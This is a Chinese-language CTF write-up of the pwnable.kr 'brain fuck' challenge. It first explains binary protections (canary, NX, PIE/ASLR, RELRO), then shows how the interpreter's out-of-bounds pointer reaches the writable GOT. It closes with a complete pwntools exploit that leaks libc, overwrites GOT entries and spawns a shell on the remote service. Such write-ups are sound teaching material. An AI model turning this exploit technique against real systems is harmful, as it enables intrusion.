-
-
[原创]pwnable.kr brain fuck 滴 write up
-
2018-2-7 00:22 4874
-
引用
题目简单考察的主要是我们的观察力,创造力和想象力吧(瞎编的!)
养成好习惯,先用自带的checksec工具检查可执行文件属性,这里整理了一下
0x01、CANNARY
CANNARY(栈溢出保护)是一种缓冲区溢出攻击缓解手段。启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
0x02、NX
NX即No-eXecute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。和windows下的DEP原理相同。0x03、PIE
一般情况下NX和地址空间分布随机化会同时工作。在linux下内存空间随机化被称作PIE。内存地址随机化机制,有以下三种情况0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。可以防范基于Ret2libc方式的针对DEP的攻击。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。
Built as PIE:位置独立的可执行区域(position-independent executables)。
Built as PIE:位置独立的可执行区域(position-independent executables)。
这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。
0x04、RELRO
在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域. 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation.大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.
RELRO设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
有关RELRO的技术细节https://hardenedlinux.github.io/2016/11/25/RelRO.html。
有关GOT攻击的技术原理参考http://blog.csdn.net/smalosnail/article/details/53247502。
/******************************************华丽的分割线**************************************************************/
好了经过上面的复制粘贴字数显然已经够了。
进入正题。 RELRO是partial,所以.got.plt 可写。
v7-v6刚好0x400个空间所以没有溢出漏洞,p里面放着是tape(录音带)的地址。(p,tape都为全局变量)
输入的数据放入v6变量中(放入的是栈中)
下面就是循环遍历数据。并没有明显的漏洞。继续分析。
输入'>','<'表示p指针移动'.'打印','输入 。于是漏洞就很明显了
我们可以在*p-0x400和*p+0x400进行读写。
在p往上面翻翻看
惊奇的发现了这么一个好东西。
题目提供了lib库,所以需要我们自己算出system的偏移
思路:就是先用putchar泄露puts的地址,求出system_addr=puts的addr-(puts的addr-system的addr)
本来先把putchar给替换掉的但是中途发现传的是byte型的参数真是坑爹,替换strlen也不行每次循环都要调用。
换个思路,替换memset为gets,fgets替换为system,嗯可行。但是还需改变程序执行流程,
于是将putchar替换为main函数的地址。
附上exp
#/usr/bin/ from pwn import * import sys import time context.arch = 'i386' d_puts_system=0 d_gets_system=0 jump_addr='08048671' if len(sys.argv) < 2: libc = ELF("./bf_libc.so") bf = ELF("./bf") p = process('./bf') context.log_level = 'debug'#gdb.attach(p,'b *0x8048671') d_puts_system=0x254d0 d_gets_system=0x980 else: p = remote(sys.argv[1], int(sys.argv[2])) #pwnable.kr 9001 d_puts_system=0x24700 d_gets_system=0x8b0 def send_fuck_data(): log.info('start send') p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n') payload = '<'*(0x804a0a0-0x804a01b)+'.<'*(0x4)+'<'*(0x4)+',<'*(0x4)+'>'*(0x24)+',<'*(0x8)+'.' p.sendline(payload) log.info('send over') def modify(str_t): log.info('start replace') payload = str_t+'/bin/sh' p.sendline(payload) log.info('replace over') def exp(): send_fuck_data() sleep(2) leak_puts_addr=p.recv(4) hex_leak_puts_addr=leak_puts_addr.encode('hex') system_addr=int(hex_leak_puts_addr,16)-d_puts_system fgets_addr=int(hex_leak_puts_addr,16)-d_gets_system log.info('leak puts addr: 0x'+leak_puts_addr.encode('hex')+' system_addr: '+hex(system_addr)) send_addr_str=hex(system_addr)[2:] fgets_addr_str=hex(fgets_addr)[2:] send_addr_str=send_addr_str+jump_addr+fgets_addr_str send_addr_hex = send_addr_str.decode('hex') modify(send_addr_hex) p.interactive() if __name__ == '__main__': exp()
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!
最后于 2019-2-1 18:37
被admin编辑
,原因:
赞赏
他的文章
谁下载
无
谁下载
无
谁下载
无
看原图